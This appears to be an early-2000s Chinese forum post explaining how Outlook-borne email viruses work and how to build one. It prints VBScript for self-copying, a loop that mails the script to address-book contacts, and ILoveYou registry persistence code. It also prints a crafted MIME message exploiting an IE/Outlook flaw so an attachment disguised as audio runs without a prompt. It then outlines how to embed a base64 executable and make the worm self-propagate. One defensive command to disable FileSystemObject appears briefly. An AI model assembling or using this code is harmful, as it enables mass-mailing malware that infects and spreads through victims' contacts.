據稱目前已經發現唯一不能通過OutLook傳播的病毒口蹄疫已經被發現,看來微軟也可以得以一陣子了。開個玩笑,OutLook在傳播病毒上真是臭名昭著,像iloveyou,梅莉莎等等產生過很大破壞力的病毒都是通過OutLook傳播的。其根本原因就是OutLook的人性化,與腳本的高度集成,復雜性等等,正是由于這些原因導致了病毒的傳播。
下面我們看一下OutLook傳播病毒的機理:
首先看看病毒的幾大特征:自我復制性,傳播性,潛伏性。我們收先看看自我復制性。病毒要向傳播必須將自身復制借由其他郵件或本身發送出去,OutLook傳播的病毒基本上都是由VBScript編寫的,其自我復制的原理基本上是利用程序將本身的腳本內容復制一份到一個臨時文件,然后再在傳播的環節將其作為附件發送出去。我們看看腳本是怎么樣完成這個功能的。
Set so=CreateObject("Scripting.FileSystemObject")
so.GetFile(WScript.ScriptFullName).Copy("C:dateiname.vbs")
就是這么兩行就可以將自身復制到c盤根目錄下dateiname.vbs這個文件。第一行是創建一個文件系統對象,第二行前面是打開這個腳本文件,WScript.ScriptFullName指明是這個程序本身,是一個完整的路徑文件名。GetFile函數獲得這個文件,Copy函數將這個文件復制到c盤根目錄下dateiname.vbs這個文件。這就是大多數利用VBscript編寫的病毒的一個特點。從這里可以看出,禁止了FileSystemObject這個對象就可以很有效的控制這種病毒的傳播。下面的這條命令可以禁止文件系統對象。
regsvr32 scrrun.dll /u
我們再看看傳播性。病毒需要傳播,電子郵件病毒的傳播無疑是通過電子郵件傳播的。對于OutLook來說地址簿的功能相當不錯,可是也給病毒的傳播打開了方便之門。幾乎所有通過OutLook傳播的電子郵件病毒都是向地址簿中存儲的電子郵件地址發送內同相同的腳本附件完成的??纯慈缦碌拇a:
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 50
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="Betreff der E-Mail"
Mail.Body="Text der E-Mail"
Mail.Attachments.Add("C:dateiname.vbs")
Mail.Send
Next
ol.Quit
這一小段代碼的功能是向地址簿中的前50個用戶發送電子郵件,并將腳本自己作為附件。第一行是創建一個Outlook的對象。下面是一個循環,在循環中不斷地向地址簿中的電子郵件地址發送內容相同的信件。
至于潛伏,則多數是修改注冊表等信息以判斷各種條件及取消一些限制。比如下面從Iloveyou病毒中取出的部分代碼:
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"
end if
很明顯是調整腳本語言的超是設置。下面的一段代碼則是修改注冊表,使得每次系統啟動自動執行腳本:
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32",dirsystem&"MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32DLL",dirwin&"Win32DLL.vbs"
其中MSKernel32.vbs和Win32DLL.vbs是病毒腳本的一個副本。
ILoveYou病毒還做了一些其它的修改。
從上面可以看出其實寫一個通過OutLook傳播的電子郵件病毒很簡單。但是作為附件傳播,這種傳播的效率可能就會打些折扣。下面的一種方法是根據最新的IE的漏洞利用的。下面是這個漏洞的一些情況:
From: "xxxxx"
Subject: mail
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal
--1
Content-Type: multipart/alternative;
boundary="2"
--2
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
I will create the file C:deleteme.txt<BR>
</BODY>
</HTML>
--2--
--1
Content-Type: audio/x-wav;
name="hello.vbs"
Content-Transfer-Encoding: quoted-printable
Content-ID: <THE-CID>
set objFileSystem =3D CreateObject("Scripting.FileSystemObject")
set objOutputFile =3D objFileSystem.CreateTextFile("C:deleteme.txt", 1)
objOutputFile.writeline("You can delete this file.")
objOutputFile.close
msgbox "I have created the file : c:deleteme.txt"
--1
上面的這個程序的例子是表明當雙擊附件的時候OutLook是不會提示你安全信息的,它是直接執行的。這僅僅是將整個上面這些作為附件發送的情況。其實這個文件直接發送給對方,對方只要將焦點移到這一主題上就會執行這個腳本。因此這一漏洞將更加有效的傳播電子郵件病毒。產生上面這個漏洞的原因大概是采用HTML發送方式其背景音樂文件沒有作檢查,導致腳本,應用程序等被執行。采用不同的編碼就可以將腳本,命令行命令,可執行文件等內嵌在郵件中。注意上面的一行:
name="hello.vbs"
這個文件名可以任意命名,如果是腳本則需要vbs擴展名,如果是命令行命令則應該是bat或cmd結尾。如果是腳本或這種文本方式的命令,則編碼方式應為:quoted-printable
Content-Transfer-Encoding: quoted-printable
如果是應用程序則文件名應該改為exe擴展名:
name="hello.exe"
編碼方式應該改為uuMime(base64)編碼:
Content-Transfer-Encoding: quoted-printable
然后將應用程序進行base64編碼插入到:
Content-ID: <THE-CID>
--1
之間。這樣就構造好了一封信。發送的時候可以選擇quack寫的perl程序,也可以采用我寫的windows上的傻瓜程序。
根據上面的經驗,可以寫一個應用程序,這個應用程序就是病毒,它首先對自身進行base64編碼,然后再將這個編碼嵌入到上面這個郵件中,然后向地址簿中的電子郵件地址發送這個電子郵件。收到這個電子郵件的用戶當焦點再這個主題上時這個應用程序就會立刻被執行而沒有任何提示,執行的結果是和上面一樣,先將自身編碼,在插入到郵件,在向地址簿中的電子郵件地址發送。如此傳播。問題是應用程序對地址簿的讀取沒有腳本那么容易,而且應用程序的大小也要比腳本大很多。采用腳本編寫的話則在發送郵件中比較難于處理成一點即運行的方式。也許是本人對于腳本語言知之甚少的緣故吧。另外在處理復制中也有些困難。因為再另一端執行時腳文件值包含這些腳本命令,而不包含上面的額外的東西。所以處理起來也比較困難。
以上是我的一點點看法,有些地方可能不對,還請各位大俠批評指正。